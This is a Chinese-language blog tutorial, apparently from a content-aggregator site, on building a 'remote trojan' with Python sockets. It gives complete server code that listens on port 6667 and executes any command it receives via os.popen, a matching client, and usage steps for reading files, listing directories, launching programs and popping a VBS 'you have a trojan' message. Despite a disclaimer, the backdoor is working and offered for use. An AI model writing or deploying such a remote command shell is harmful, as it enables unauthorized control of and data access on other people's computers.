Python Socket实现远程木马弹窗详解

目录

基础知识

服务端(server)程序

客户端(client)程序

其他命令执行函数

该木马程序的基本用法

1、查看文件内容

2、查看文件目录

3、创建文件或目录

4、调用windows应用程序

5、调用Windows弹窗

严正声明:本文仅限于技术讨论,严禁用于其他用途。

基础知识

socket通信模块:针对TCP/IP协议簇进行的程序封装,在Windows/Linux均有这样底层模块。

Unicode 有多种存储方式,常见的有 UTF-8、UTF-16、UTF-32,它们分别用不同的二进制格式来表示 Unicode 字符

如果全部英文或英文与其他文字混合,但英文占绝大部分,用UTF-8就比UTF-16节省了很多空间.而如果全部是中文这样类似的字符或者混合字符中中文占绝大多数.UTF-16就占优势了,可以节省很多空间

编码:

英文多:建议用UTF-8编码(utf-8是使用最多的编码方式,是一种变长字符编码)

中文多:建议用UTF-16编码

中文:window中文采用的是GBK格式编码

netstat -ant :只显示传输层的数据 TCP,UDP连接,可以用来检查socket服务是否起了

服务端(server)程序 import socket, os def attack(): try: s = socket.socket() s.bind(('0.0.0.0', 6667)) # 使用缺省地址,所有设备均可访问该服务器的6667端口 s.listen() # 对6667端口进行监听 chanel, client = s.accept() # 进入阻塞状态,accept() 返回元组,接受来自客户端的数据,chanel:新的socket对象用于标识出服务器和哪个客户端连接进行通信, client: 客户端的IP和端口 while True: receive = chanel.recv(1024).decode() reply = os.popen(receive).read() chanel.send(f"命令{receive}的运行结果:\n{reply}".encode()) except: s.close() attack() if __name__ == '__main__': attack() 客户端(client)程序 import socket s = socket.socket() s.connect(('192.168.137.1', 6667))#192.168.137.1是socket服务器的地址 while True: sendstr = input("请输入消息:") s.send(sendstr.encode()) receive = s.recv(1024).decode() print(f"服务器回复:{receive}") # s.close() 其他命令执行函数

提示:需要导入 os 模块—— import os

os.system('ipconfig')

os.popen('ipconfig').read()

eval()        # 将字符串按照Python代码来执行

该木马程序的基本用法 1、查看文件内容

window

type 文件绝对路径

linux

cat 文件路径

2、查看文件目录

window

dir                #查看当前文件路径目录
dir 文件路径     #查看指定文件路径目录

linux

ls                #查看当前文件路径目录
ll                #查看当前文件路径目录详细信息
ls 文件路径         #查看指定文件路径目录
ll 文件路径         #查看指定文件路径目录详细信息

3、创建文件或目录

windows

echo test >> demo.txt    #创建一个demo.txt文件,文件内容为 test

linux

mkdir 路径    #创建目录
echo test >> demo.txt    #创建一个demo.txt文件,文件内容为 test

4、调用windows应用程序

调用计算器

calc.exe

调用其他引用程序

直接输入应用程序绝对路径

5、调用Windows弹窗

echo msgbox("你中木马了!!")  > E:\hi.vbs    
E:\hi.vbs

到此这篇关于Python Socket实现远程木马弹窗详解的文章就介绍到这了,更多相关Python Socket内容请搜索易知道(ezd.cc)以前的文章或继续浏览下面的相关文章希望大家以后多多支持易知道(ezd.cc)!

推荐阅读